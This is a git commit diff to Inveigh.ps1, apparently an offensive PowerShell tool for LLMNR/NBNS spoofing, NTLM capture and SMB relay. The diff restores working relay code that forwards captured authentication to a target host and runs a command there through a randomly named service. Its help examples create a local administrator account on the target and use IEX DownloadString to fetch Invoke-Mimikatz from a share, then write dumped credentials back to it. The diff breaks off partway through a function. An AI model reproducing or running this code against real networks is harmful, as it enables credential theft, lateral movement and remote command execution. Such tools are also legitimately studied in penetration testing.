Revert "Moved SMB relay code to a dedicated script, also added psm1 and psd1 files."

This reverts commit 8ab002602f672dddb91e27ff6bb7d5050771c688.

1 files changed, 888 insertions, 236 deletions

diff --git a/Inveigh.ps1 b/Inveigh.ps1
index 74dbd39..d71fe4e 100644
--- a/Inveigh.ps1
+++ b/Inveigh.ps1
@@ -90,8 +90,8 @@ Set the run time duration in minutes.
 Default = 0: Enable/Disable features for better operation through external tools such as Metasploit's Interactive Powershell Sessions and Empire. 0 = None, 1 = Metasploit, 2 = Empire   
 
 .EXAMPLE
-Import-Module .\Inveigh.psd1;Invoke-Inveigh
-Import full module and execute with all default settings.
+Import-Module;Invoke-Inveigh
+Import module and execute with all default settings.
 
 .EXAMPLE
 . ./Inveigh.ps1;Invoke-Inveigh -IP 192.168.1.10
@@ -118,7 +118,7 @@ Invoke-Inveigh -SMBRelay y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "net us
 Execute with SMB relay enabled with a command that will create a local administrator account on the SMB relay target.  
 
 .EXAMPLE
-Invoke-Inveigh -SMBRelay Y -SMBRelayTarget 192.168.2.55 -SMBRelayCommand "powershell \\192.168.2.50\temp$\powermeup.cmd"
+Invoke-Inveigh -smbrelay y -smbrelaytarget 192.168.2.55 -smbrelaycommand "powershell \\192.168.2.50\temp$\powermeup.cmd"
 Execute with SMB relay enabled and using Mubix's powermeup.cmd method of launching Invoke-Mimikatz.ps1 and uploading output. In this example, a hidden anonymous share containing Invoke-Mimikatz.ps1 is employed on the Inveigh host system. 
 Powermeup.cmd contents used for this example:
 powershell "IEX (New-Object Net.WebClient).DownloadString('\\192.168.2.50\temp$\Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds > \\192.168.2.50\temp$\%COMPUTERNAME%.txt 2>&1"
@@ -179,12 +179,12 @@ if ($invalid_parameter)
     throw "$($invalid_parameter) is not a valid parameter."
 }
 
-if(!$IP)
+if(-not($IP))
 { 
     $IP = (Test-Connection 127.0.0.1 -count 1 | select -ExpandProperty Ipv4Address)
 }
 
-if(!$SpooferIP)
+if(-not($SpooferIP))
 {
     $SpooferIP = $IP  
 }
@@ -202,7 +202,7 @@ if($SMBRelay -eq 'y')
     }
 }
 
-if(!$OutputDir)
+if(-not($OutputDir))
 { 
     $output_directory = $PWD.Path
 }
@@ -236,14 +236,15 @@ $inveigh.log_file_queue = New-Object System.Collections.ArrayList
 $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList
 $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList
 $inveigh.certificate_thumbprint = "76a49fd27011cf4311fb6914c904c90a89f3e4b2"
+$inveigh.host = $host
 $inveigh.HTTP_challenge_queue = New-Object System.Collections.ArrayList
+$inveigh.SMB_relay_active_step = 0
 $inveigh.console_output = $false
 $inveigh.console_input = $true
 $inveigh.file_output = $false
 $inveigh.log_out_file = $output_directory + "\Inveigh-Log.txt"
 $inveigh.NTLMv1_out_file = $output_directory + "\Inveigh-NTLMv1.txt"
 $inveigh.NTLMv2_out_file = $output_directory + "\Inveigh-NTLMv2.txt"
-$Inveigh.challenge = $Challenge
 $inveigh.running = $true
 
 if($StatusOutput -eq 'y')
@@ -287,169 +288,203 @@ else
 }
 
 # Write startup messages
-$inveigh.status_queue.add("Inveigh started at $(Get-Date -format 's')")|Out-Null
-$inveigh.log.add("$(Get-Date -format 's') - Inveigh started") |Out-Null
-
-if($FileOutput -eq 'y')
+if($inveigh.status_output)
 {
-    "$(Get-Date -format 's') - Inveigh started" |Out-File $Inveigh.log_out_file -Append
-}
+    $inveigh.status_queue.add("Inveigh started at $(Get-Date -format 's')")|Out-Null
+    $inveigh.log.add("$(Get-Date -format 's') - Inveigh started") |Out-Null
 
-$inveigh.status_queue.add("Listening IP Address = $IP") |Out-Null
-$inveigh.status_queue.add("LLMNR/NBNS Spoofer IP Address = $SpooferIP")|Out-Null
+    if($FileOutput -eq 'y')
+    {
+        "$(Get-Date -format 's') - Inveigh started" |Out-File $Inveigh.log_out_file -Append
+    }
 
-if($LLMNR -eq 'y')
-{
-    $inveigh.status_queue.add("LLMNR Spoofing Enabled")|Out-Null
-    $LLMNR_response_message = "- spoofed response has been sent"
-}
-else
-{
-    $inveigh.status_queue.add("LLMNR Spoofing Disabled")|Out-Null
-    $LLMNR_response_message = "- LLMNR spoofing is disabled"
-}
+    $inveigh.status_queue.add("Listening IP Address = $IP") |Out-Null
+    $inveigh.status_queue.add("LLMNR/NBNS Spoofer IP Address = $SpooferIP")|Out-Null
 
-if($NBNS -eq 'y')
-{
-    $NBNSTypes_output = $NBNSTypes -join ","
-    
-    if($NBNSTypes.Count -eq 1)
+    if($LLMNR -eq 'y')
     {
-        $inveigh.status_queue.add("NBNS Spoofing Of Type $NBNSTypes_output Enabled")|Out-Null
+        $inveigh.status_queue.add("LLMNR Spoofing Enabled")|Out-Null
+        $LLMNR_response_message = "- spoofed response has been sent"
     }
     else
     {
-        $inveigh.status_queue.add("NBNS Spoofing Of Types $NBNSTypes_output Enabled")|Out-Null
+        $inveigh.status_queue.add("LLMNR Spoofing Disabled")|Out-Null
+        $LLMNR_response_message = "- LLMNR spoofing is disabled"
     }
+
+    if($NBNS -eq 'y')
+    {
+        $NBNSTypes_output = $NBNSTypes -join ","
     
-    $NBNS_response_message = "- spoofed response has been sent"
-}
-else
-{
-    $inveigh.status_queue.add("NBNS Spoofing Disabled")|Out-Null
-    $NBNS_response_message = "- NBNS spoofing is disabled"
-}
+        if($NBNSTypes.Count -eq 1)
+        {
+            $inveigh.status_queue.add("NBNS Spoofing Of Type $NBNSTypes_output Enabled")|Out-Null
+        }
+        else
+        {
+            $inveigh.status_queue.add("NBNS Spoofing Of Types $NBNSTypes_output Enabled")|Out-Null
+        }
+    
+        $NBNS_response_message = "- spoofed response has been sent"
+    }
+    else
+    {
+        $inveigh.status_queue.add("NBNS Spoofing Disabled")|Out-Null
+        $NBNS_response_message = "- NBNS spoofing is disabled"
+    }
 
-if($Repeat -eq 'n')
-{
-    $inveigh.repeat = $false
-    $inveigh.status_queue.add("Spoof Repeating Disabled")|Out-Null
-}
-else
-{
-    $inveigh.repeat = $true
-    $inveigh.IP_capture_list = @()
-}
+    if($Repeat -eq 'n')
+    {
+        $inveigh.status_queue.add("Spoof Repeating Disabled")|Out-Null
+    }
 
-if($HTTP -eq 'y')
-{
-    $inveigh.HTTP = $true
-    $inveigh.status_queue.add("HTTP Capture Enabled")|Out-Null
-}
-else
-{
-    $inveigh.HTTP = $false
-    $inveigh.status_queue.add("HTTP Capture Disabled")|Out-Null
-}
+    if($HTTP -eq 'y')
+    {
+        $inveigh.HTTP = $true
+        $inveigh.status_queue.add("HTTP Capture Enabled")|Out-Null
+    }
+    else
+    {
+        $inveigh.HTTP = $false
+        $inveigh.status_queue.add("HTTP Capture Disabled")|Out-Null
+    }
 
-if($HTTPS -eq 'y')
-{
-    try
+    if($HTTPS -eq 'y')
     {
-        $inveigh.HTTPS = $true
-        $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine")
-        $certificate_store.Open('ReadWrite')
-        $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2
-        $certificate.Import($PWD.Path + "\inveigh.pfx")
-        $certificate_store.Add($certificate) 
-        $certificate_store.Close()
-        Invoke-Expression -command ("netsh http add sslcert ipport=0.0.0.0:443 certhash=" + $inveigh.certificate_thumbprint + " appid='{00112233-4455-6677-8899-AABBCCDDEEFF}'") > $null
-        $inveigh.status_queue.add("HTTPS Capture Enabled")|Out-Null
+        try
+        {
+            $inveigh.HTTPS = $true
+            $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine")
+            $certificate_store.Open('ReadWrite')
+            $certificate = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2
+            $certificate.Import($PWD.Path + "\inveigh.pfx")
+            $certificate_store.Add($certificate) 
+            $certificate_store.Close()
+            Invoke-Expression -command ("netsh http add sslcert ipport=0.0.0.0:443 certhash=" + $inveigh.certificate_thumbprint + " appid='{00112233-4455-6677-8899-AABBCCDDEEFF}'") > $null
+            $inveigh.status_queue.add("HTTPS Capture Enabled")|Out-Null
+        }
+        catch
+        {
+            $certificate_store.Close()
+            $HTTPS="N"
+            $inveigh.HTTPS = $false
+            $inveigh.status_queue.add("HTTPS Capture Disabled Due To Certificate Install Error")|Out-Null
+        }
     }
-    catch
+    else
     {
-        $certificate_store.Close()
-        $HTTPS="N"
-        $inveigh.HTTPS = $false
-        $inveigh.status_queue.add("HTTPS Capture Disabled Due To Certificate Install Error")|Out-Null
+        $inveigh.status_queue.add("HTTPS Capture Disabled")|Out-Null
     }
-}
-else
-{
-    $inveigh.status_queue.add("HTTPS Capture Disabled")|Out-Null
-}
 
-if($Challenge)
-{
-    $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null
-}
+    if($Challenge)
+    {
+        $inveigh.status_queue.add("NTLM Challenge = $Challenge")|Out-Null
+    }
 
-if($SMB -eq 'y')
-{
-    $inveigh.status_queue.add("SMB Capture Enabled")|Out-Null
-}
-else
-{
-    $inveigh.status_queue.add("SMB Capture Disabled")|Out-Null
-}
+    if($SMB -eq 'y')
+    {
+        $inveigh.status_queue.add("SMB Capture Enabled")|Out-Null
+    }
+    else
+    {
+        $inveigh.status_queue.add("SMB Capture Disabled")|Out-Null
+    }
 
-if($MachineAccounts -eq 'n')
-{
-    $inveigh.status_queue.add("Ignoring Machine Accounts")|Out-Null
-}
+    if($MachineAccounts -eq 'n')
+    {
+        $inveigh.status_queue.add("Ignoring Machine Accounts")|Out-Null
+    }
 
-if($ForceWPADAuth -eq 'y')
-{
-    $inveigh.status_queue.add("Force WPAD Authentication Enabled")|Out-Null
-}
-else
-{
-    $inveigh.status_queue.add("Force WPAD Authentication Disabled")|Out-Null
-}
+    if($ForceWPADAuth -eq 'y')
+    {
+        $inveigh.status_queue.add("Force WPAD Authentication Enabled")|Out-Null
+    }
+    else
+    {
+        $inveigh.status_queue.add("Force WPAD Authentication Disabled")|Out-Null
+    }
 
-if($ConsoleOutput -eq 'y')
-{
-    $inveigh.status_queue.add("Real Time Console Output Enabled")|Out-Null
-    $inveigh.console_output = $true
-}
-else
-{
-    if($inveigh.tool -eq 1)
+    if($SMBRelay -eq 'y')
     {
-        $inveigh.status_queue.add("Real Time Console Output Disabled Due To External Tool Selection")|Out-Null
+        $inveigh.status_queue.add("SMB Relay Enabled") |Out-Null
+        $inveigh.status_queue.add("SMB Relay Target = $SMBRelayTarget")|Out-Null
+
+        if($SMBRelayUsernames.Count -gt 0)
+        {
+            $SMBRelayUsernames_output = $SMBRelayUsernames -join ","
+    
+            if($SMBRelayUsernames.Count -eq 1)
+            {
+                $inveigh.status_queue.add("SMB Relay Username = $SMBRelayUsernames_output")|Out-Null
+            }
+            else
+            {
+                $inveigh.status_queue.add("SMB Relay Usernames = $SMBRelayUsernames_output")|Out-Null
+            }
+        }
+
+        if($SMBRelayAutodisable -eq 'y')
+        {
+            $inveigh.status_queue.add("SMB Relay Auto Disable Enabled")|Out-Null
+        }
+        else
+        {
+            $inveigh.status_queue.add("SMB Relay Auto Disable Disabled")|Out-Null
+        }
+
+        if($SMBRelayNetworkTimeout)
+        {
+            $inveigh.status_queue.add("SMB Relay Network Timeout = $SMBRelayNetworkTimeout Seconds")|Out-Null
+        }
+    
+        $inveigh.SMB_relay = $true
     }
     else
     {
-        $inveigh.status_queue.add("Real Time Console Output Disabled")|Out-Null
+        $inveigh.status_queue.add("SMB Relay Disabled")|Out-Null
+        $inveigh.SMB_relay = $false
     }
-}
 
-if($FileOutput -eq 'y')
-{
-    $inveigh.status_queue.add("Real Time File Output Enabled")|Out-Null
-    $inveigh.status_queue.add("Output Directory = $output_directory")|Out-Null
-    $inveigh.file_output = $true
-}
-else
-{
-    $inveigh.status_queue.add("Real Time File Output Disabled")|Out-Null
-}
+    if($ConsoleOutput -eq 'y')
+    {
+        $inveigh.status_queue.add("Real Time Console Output Enabled")|Out-Null
+        $inveigh.console_output = $true
+    }
+    else
+    {
+        if($inveigh.tool -eq 1)
+        {
+            $inveigh.status_queue.add("Real Time Console Output Disabled Due To External Tool Selection")|Out-Null
+        }
+        else
+        {
+            $inveigh.status_queue.add("Real Time Console Output Disabled")|Out-Null
+        }
+    }
 
-if($RunTime -eq 1)
-{
-    $inveigh.status_queue.add("Run Time = $RunTime Minute")|Out-Null
-}
-elseif($RunTime -gt 1)
-{
-    $inveigh.status_queue.add("Run Time = $RunTime Minutes")|Out-Null
-}
+    if($FileOutput -eq 'y')
+    {
+        $inveigh.status_queue.add("Real Time File Output Enabled")|Out-Null
+        $inveigh.status_queue.add("Output Directory = $output_directory")|Out-Null
+        $inveigh.file_output = $true
+    }
+    else
+    {
+        $inveigh.status_queue.add("Real Time File Output Disabled")|Out-Null
+    }
 
-if($SMBRelay -eq 'n')
-{
+    if($RunTime -eq 1)
+    {
+        $inveigh.status_queue.add("Run Time = $RunTime Minute")|Out-Null
+    }
+    elseif($RunTime -gt 1)
+    {
+        $inveigh.status_queue.add("Run Time = $RunTime Minutes")|Out-Null
+    }
 
     if($ShowHelp -eq 'y')
     {
-        $inveigh.status_queue.add("Use Get-Command -Noun Inveigh* to show available functions")|Out-Null
+        $inveigh.status_queue.add("Run Get-InveighHelp to show available cmdlets")|Out-Null
         $inveigh.status_queue.add("Run Stop-Inveigh to stop Inveigh")|Out-Null
         
         if($inveigh.console_output)
@@ -457,38 +492,37 @@ if($SMBRelay -eq 'n')
             $inveigh.status_queue.add("Press any key to stop real time console output")|Out-Null
         }
     }
-    if($inveigh.status_output)
+
+    while($inveigh.status_queue.Count -gt 0)
     {
-        while($inveigh.status_queue.Count -gt 0)
+        if($inveigh.output_stream_only)
         {
-            if($inveigh.output_stream_only)
-            {
-                write-output($inveigh.status_queue[0] + $inveigh.newline)
-                $inveigh.status_queue.RemoveRange(0,1)
-            }
-            else
+            write-output($inveigh.status_queue[0] + $inveigh.newline)
+            $inveigh.status_queue.RemoveRange(0,1)
+        }
+        else
+        {
+            switch ($inveigh.status_queue[0])
             {
-                switch ($inveigh.status_queue[0])
+                "Run Stop-Inveigh to stop Inveigh"
                 {
-                    "Run Stop-Inveigh to stop Inveigh"
-                    {
-                        write-warning($inveigh.status_queue[0])
-                        $inveigh.status_queue.RemoveRange(0,1)
-                    }
-                    default
-                    {
-                        write-output($inveigh.status_queue[0])
-                        $inveigh.status_queue.RemoveRange(0,1)
-                    }
+                    write-warning($inveigh.status_queue[0])
+                    $inveigh.status_queue.RemoveRange(0,1)
+                }
+                default
+                {
+                    write-output($inveigh.status_queue[0])
+                    $inveigh.status_queue.RemoveRange(0,1)
                 }
             }
         }
     }
 }
-else
-{
-    Invoke-InveighRelay -HTTP $HTTP -HTTPS $HTTPS -SMBRelayTarget $SMBRelayTarget -SMBRelayUsernames $SMBRelayUsernames -SMBRelayAutoDisable $SMBRelayAutoDisable -SMBRelayNetworkTimeout $SMBRelayNetworkTimeout -MachineAccounts $MachineAccounts -SMBRelayCommand $SMBRelayCommand -Tool $Tool -ShowHelp $ShowHelp 
-}
+
+$process_ID = [System.Diagnostics.Process]::GetCurrentProcess() |select -expand id
+$process_ID = [BitConverter]::ToString([BitConverter]::GetBytes($process_ID))
+$process_ID = $process_ID -replace "-00-00",""
+[Byte[]]$inveigh.process_ID_bytes = $process_ID.Split("-") | FOREACH{[CHAR][CONVERT]::toint16($_,16)}
 
 # Begin ScriptBlocks
 
@@ -615,7 +649,7 @@ $SMB_NTLM_functions_scriptblock =
                     }
                 }
 
-                if (($inveigh.IP_capture_list -notcontains $source_IP) -and (-not $NTLM_user_string.EndsWith('$')) -and (!$inveigh.repeat) -and ($source_IP -ne $IP))
+                if (($inveigh.IP_capture_list -notcontains $source_IP) -and (-not $NTLM_user_string.EndsWith('$')) -and ($Repeat -eq 'n') -and ($source_IP -ne $IP))
                 {
                     $inveigh.IP_capture_list += $source_IP
                 }
@@ -624,10 +658,497 @@ $SMB_NTLM_functions_scriptblock =
     }
 }
 
+# SMB Relay Challenge ScriptBlock - gathers NTLM server challenge from relay target
+$SMB_relay_challenge_scriptblock =
+{
+    Function SMBRelayChallenge
+    {
+        param ($SMB_relay_socket,$HTTP_request_bytes)
+
+        if ($SMB_relay_socket)
+        {
+            $SMB_relay_challenge_stream = $SMB_relay_socket.GetStream()
+        }
+        
+        $SMB_relay_challenge_bytes = New-Object System.Byte[] 1024
+        $i = 0
+        
+        :SMB_relay_challenge_loop while ($i -lt 2)
+        {
+            switch ($i)
+            {
+                0 {
+                    [Byte[]] $SMB_relay_challenge_send = (0x00,0x00,0x00,0x2f,0xff,0x53,0x4d,0x42,0x72,0x00,0x00,0x00,0x00,0x18,0x01,0x48)`
+                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)`
+                        + $inveigh.process_ID_bytes`
+                        + (0x00,0x00,0x00,0x00,0x00,0x0c,0x00,0x02,0x4e,0x54,0x20,0x4c,0x4d,0x20,0x30,0x2e,0x31,0x32,0x00)
+                }
+                
+                1 { 
+                    $SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 32)
+                    $SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 22)
+                    $SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.length + 2)
+                    $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length)
+                    $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 34))
+                    $SMB_blob_length = $SMB_blob_length -replace "-00-00",""
+                    $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
+                    $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 45))
+                    $SMB_byte_count = $SMB_byte_count -replace "-00-00",""
+                    $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
+                    $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 104))
+                    $SMB_netbios_length = $SMB_netbios_length -replace "-00-00",""
+                    $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
+                    [array]::Reverse($SMB_netbios_length)
+                    
+                    [Byte[]] $SMB_relay_challenge_send = (0x00,0x00)`
+                        + $SMB_netbios_length`
+                        + (0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x01,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)`
+                        + $inveigh.process_ID_bytes`
+                        + (0x00,0x00,0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00,0x00,0x00)`
+                        + $SMB_blob_length`
+                        + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)`
+                        + $SMB_byte_count`
+                        + (0x60)`
+                        + $SMB_length_1`
+                        + (0x06,0x06,0x2b,0x06,0x01,0x05,0x05,0x02,0xa0)`
+                        + $SMB_length_2`
+                        + (0x30,0x3c,0xa0,0x0e,0x30,0x0c,0x06,0x0a,0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a,0xa2)`
+                        + $SMB_length_3`
+                        + (0x04)`
+                        + $SMB_NTLMSSP_length`
+                        + $HTTP_request_bytes`
+                        + (0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00)
+                }
+            }
+
+            $SMB_relay_challenge_stream.write($SMB_relay_challenge_send, 0, $SMB_relay_challenge_send.length)
+            $SMB_relay_challenge_stream.Flush()
+            
+            if($SMBRelayNetworkTimeout)
+            {
+                $SMB_relay_challenge_timeout = new-timespan -Seconds $SMBRelayNetworkTimeout
+                $SMB_relay_challenge_stopwatch = [diagnostics.stopwatch]::StartNew()
+                
+                while(!$SMB_relay_challenge_stream.DataAvailable)
+                {
+                    if($SMB_relay_challenge_stopwatch.elapsed -ge $SMB_relay_challenge_timeout)
+                    {
+                        $inveigh.console_queue.add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")
+                        $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")])
+                        $inveigh.SMB_relay_active_step = 0
+                        $SMB_relay_socket.Close()
+                        break SMB_relay_challenge_loop
+                    }
+                }
+            }
+    
+            $SMB_relay_challenge_stream.Read($SMB_relay_challenge_bytes, 0, $SMB_relay_challenge_bytes.length)
+
+            $i++
+        }
+        
+        return $SMB_relay_challenge_bytes
+    }
+}
+
+# SMB Relay Response ScriptBlock - sends NTLM reponse to relay target
+$SMB_relay_response_scriptblock =
+{
+    Function SMBRelayResponse
+    {
+        param ($SMB_relay_socket,$HTTP_request_bytes,$SMB_user_ID)
+    
+        $SMB_relay_response_bytes = New-Object System.Byte[] 1024
+
+        if ($SMB_relay_socket)
+        {
+            $SMB_relay_response_stream = $SMB_relay_socket.GetStream()
+        }
+        
+        $SMB_length_1 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 244)
+        $SMB_length_2 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 248)
+        $SMB_length_3 = '0x{0:X2}' -f ($HTTP_request_bytes.length - 252)
+        $SMB_NTLMSSP_length = '0x{0:X2}' -f ($HTTP_request_bytes.length - 256)
+        $SMB_blob_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 16))
+        $SMB_blob_length = $SMB_blob_length -replace "-00-00",""
+        $SMB_blob_length = $SMB_blob_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
+        $SMB_byte_count = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 27))
+        $SMB_byte_count = $SMB_byte_count -replace "-00-00",""
+        $SMB_byte_count = $SMB_byte_count.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
+        $SMB_netbios_length = [BitConverter]::ToString([BitConverter]::GetBytes($HTTP_request_bytes.length + 86))
+        $SMB_netbios_length = $SMB_netbios_length -replace "-00-00",""
+        $SMB_netbios_length = $SMB_netbios_length.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
+        [array]::Reverse($SMB_netbios_length)
+        
+        $j = 0
+        
+        :SMB_relay_response_loop while ($j -lt 1)
+        {
+            [Byte[]] $SMB_relay_response_send = (0x00,0x00)`
+                + $SMB_netbios_length`
+                + (0xff,0x53,0x4d,0x42,0x73,0x00,0x00,0x00,0x00,0x18,0x01,0x48,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)`
+                + $inveigh.process_ID_bytes`
+                + $SMB_user_ID`
+                + (0x00,0x00,0x0c,0xff,0x00,0x00,0x00,0xff,0xff,0x02,0x00,0x01,0x00,0x00,0x00,0x00,0x00)`
+                + $SMB_blob_length`
+                + (0x00,0x00,0x00,0x00,0x44,0x00,0x00,0x80)`
+                + $SMB_byte_count`
+                + (0xa1,0x82,0x01)`
+                + $SMB_length_1`
+                + (0x30,0x82,0x01)`
+                + $SMB_length_2`
+                + (0xa2,0x82,0x01)`
+                + $SMB_length_3`
+                + (0x04,0x82,0x01)`
+                + $SMB_NTLMSSP_length`
+                + $HTTP_request_bytes`
+                + (0x55,0x6e,0x69,0x78,0x00,0x53,0x61,0x6d,0x62,0x61,0x00)
+            
+            $SMB_relay_response_stream.write($SMB_relay_response_send, 0, $SMB_relay_response_send.length)
+        	$SMB_relay_response_stream.Flush()
+            
+            if($SMBRelayNetworkTimeout)
+            {
+                $SMB_relay_response_timeout = new-timespan -Seconds $SMBRelayNetworkTimeout
+                $SMB_relay_response_stopwatch = [diagnostics.stopwatch]::StartNew()
+                    
+                while(!$SMB_relay_response_stream.DataAvailable)
+                {
+                    if($SMB_relay_response_stopwatch.elapsed -ge $SMB_relay_response_timeout)
+                    {
+                        $inveigh.console_queue.add("SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")
+                        $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - SMB relay target didn't respond within $SMBRelayNetworkTimeout seconds")])
+                        $inveigh.SMB_relay_active_step = 0
+                        $SMB_relay_socket.Close()
+                        break :SMB_relay_response_loop
+                    }
+                }
+            }
+
+            $SMB_relay_response_stream.Read($SMB_relay_response_bytes, 0, $SMB_relay_response_bytes.length)
+            
+            $inveigh.SMB_relay_active_step = 2
+            
+            $j++
+        
+        }
+        return $SMB_relay_response_bytes
+    }
+}
+
+# SMB Relay Execute ScriptBlock - executes command within authenticated SMB session
+$SMB_relay_execute_scriptblock =
+{
+    Function SMBRelayExecute
+    {
+        param ($SMB_relay_socket,$SMB_user_ID)
+    
+        if ($SMB_relay_socket)
+        {
+            $SMB_relay_execute_stream = $SMB_relay_socket.GetStream()
+        }
+        
+        $SMB_relay_execute_bytes = New-Object System.Byte[] 1024
+        
+        $SMB_service_random = [String]::Join("00-", (1..11 | % {"{0:X2}-" -f (Get-Random -Minimum 65 -Maximum 90)}))
+        $SMB_machine += '53-00-52-00-56-00-' + $SMB_service_random + '00-00-00'
+        $SMB_service_name = $SMB_service_random + '00-00-00'
+        $SMB_service_display = '49-00-56-00-53-00-52-00-56-00-' + $SMB_service_random + '00-00-00'
+        [Byte[]]$SMB_machine_bytes = $SMB_machine.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
+        [Byte[]]$SMB_service_bytes = $SMB_service_name.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
+        [Byte[]]$SMB_service_display_bytes = $SMB_service_display.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
+        
+        $SMBRelayCommand = "%COMSPEC% /C `"" + $SMBRelayCommand + "`""
+        [System.Text.Encoding]::ASCII.GetBytes($SMBRelayCommand) | % { $SMB_relay_command += "{0:X2}-00-" -f $_ }
+        $SMB_relay_command += '00-00'
+        [Byte[]]$SMB_relay_command_bytes = $SMB_relay_command.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)}
+        
+        $SMB_service_data_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + 253)
+        $SMB_service_data_length_bytes = $SMB_service_data_length_bytes[2..0]
+        
+        $SMB_service_byte_count_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length + 253 - 63)
+        $SMB_service_byte_count_bytes = $SMB_service_byte_count_bytes[0..1]
+        
+        $SMB_relay_command_length_bytes = [BitConverter]::GetBytes($SMB_relay_command_bytes.length / 2)
+        
+        $k = 0
+
+        :SMB_relay_execute_loop while ($k -lt 14)
+        {
+            switch ($k)
+            {
+            
+                0 {
+                    [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x45,0xff,0x53,0x4d,0x42,0x75,0x00,0x00,0x00,0x00,0x18,0x01,0x48)`
+                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff)`
+                        + $inveigh.process_ID_bytes`
+                        + $SMB_user_ID`
+                        + (0x00,0x00,0x04,0xff,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x1a,0x00,0x00,0x5c,0x5c,0x31,0x30,0x2e,0x31)`
+                        + (0x30,0x2e,0x32,0x2e,0x31,0x30,0x32,0x5c,0x49,0x50,0x43,0x24,0x00,0x3f,0x3f,0x3f,0x3f,0x3f,0x00)
+                }
+                  
+                1 {
+                    [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x5b,0xff,0x53,0x4d,0x42,0xa2,0x00,0x00,0x00,0x00,0x18,0x02,0x28)`
+                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
+                        + $inveigh.process_ID_bytes`
+                        + $SMB_user_ID`
+                        + (0x03,0x00,0x18,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x16,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)`
+                        + (0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x01,0x00,0x00,0x00)`
+                        + (0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x00,0x08,0x00,0x5c,0x73,0x76,0x63,0x63,0x74,0x6c,0x00)
+                }
+                
+                2 {
+                    [Byte[]]$SMB_relay_execute_send = (0x00,0x00,0x00,0x87,0xff,0x53,0x4d,0x42,0x2f,0x00,0x00,0x00,0x00,0x18,0x05,0x28)`
+                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08)`
+                        + $inveigh.process_ID_bytes`
+                        + $SMB_user_ID`
+                        + (0x04,0x00,0x0e,0xff,0x00,0x00,0x00,0x00,0x40,0xea,0x03,0x00,0x00,0xff,0xff,0xff,0xff,0x08,0x00,0x48,0x00)`
+                        + (0x00,0x00,0x48,0x00,0x3f,0x00,0x00,0x00,0x00,0x00,0x48,0x00,0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48)`
+                        + (0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd0,0x16,0xd0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00)`
+                        + (0x01,0x00,0x81,0xbb,0x7a,0x36,0x44,0x98,0xf1,0x35,0xad,0x32,0x98,0xf0,0x38,0x00,0x10,0x03,0x02,0x00,0x00)`
